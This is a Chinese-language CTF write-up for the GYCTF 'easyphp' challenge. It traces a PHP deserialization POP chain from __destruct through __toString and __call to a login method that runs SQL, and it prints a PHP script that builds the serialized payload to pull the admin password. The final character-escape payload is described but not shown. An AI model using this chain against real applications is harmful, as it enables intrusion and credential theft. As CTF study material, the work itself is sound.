GYCTF easyphp 【反序列化配合字符逃逸】

基础知识可以参考我之前写的那个 0CTF 2016 piapiapia  那个题只是简单记录了一下,学习了一下php反序列化的思路

https://www.cnblogs.com/tiaopidejun/p/12345080.html

这道题自己搞一下:

主要是构造pop链,

大概的思路,如果找到序列化和反序列化的点,跟进调用的方法,在源码中寻找可以被我们利用getshell的点。

开始:

先是发现

 跟进getNewInfo

 发现update调用,继续跟进UpdateHelper

 发现会直接调用魔法函数__destruct,同时这里echo字符串,会触发__ toString

找一下有没有__toString 

 但是这个没有什么利用点

但我们发现有个call可以被我们利用

 而且info里面并没有update方法,我们可以想办法触发这个call

如果User里的nickname实例化一个info对象,去调用并不存在的update方法,那么就会触发call

 然后调用login方法,login里可以执行sql语句,这就是利用点

那我们可以构造pop链去调用info里的__call

构造pop链:

如何构造pop链----学习链接:https://www.cnblogs.com/iamstudy/articles/php_object_injection_pop_chain.html

<?php
class User
{
    public $id;
    public $age=null;
    public $nickname=null;
}
class Info
{
    public $age;
    public $nickname;
    public $CtrlCase;
    public function __construct($age,$nickname)
    {
        $this->age=$age;
        $this->nickname=$nickname;
    }
}
class UpdateHelper
{
    public $id;
    public $newinfo;
    public $sql;
}
class dbCtrl
{
    public $hostname="127.0.0.1";
    public $dbuser="root";
    public $dbpass="root";
    public $database="test";
    public $name='admin';
    public $password;
    public $mysqli;
    public $token='admin';
}
$d = new dbCtrl();
$d->token='admin';
$b = new Info('','1');
$b->CtrlCase=$d;
$a = new user();
$a->nickname=$b;
$a->age="select password,id from user where username=?";
$c=new UpdateHelper();
$c->sql=$a;
echo serialize($c)
?>

最后根据safe那个函数的规格,再构造出逃逸字符的payload

猜你喜欢

转载自www.cnblogs.com/tiaopidejun/p/12363564.html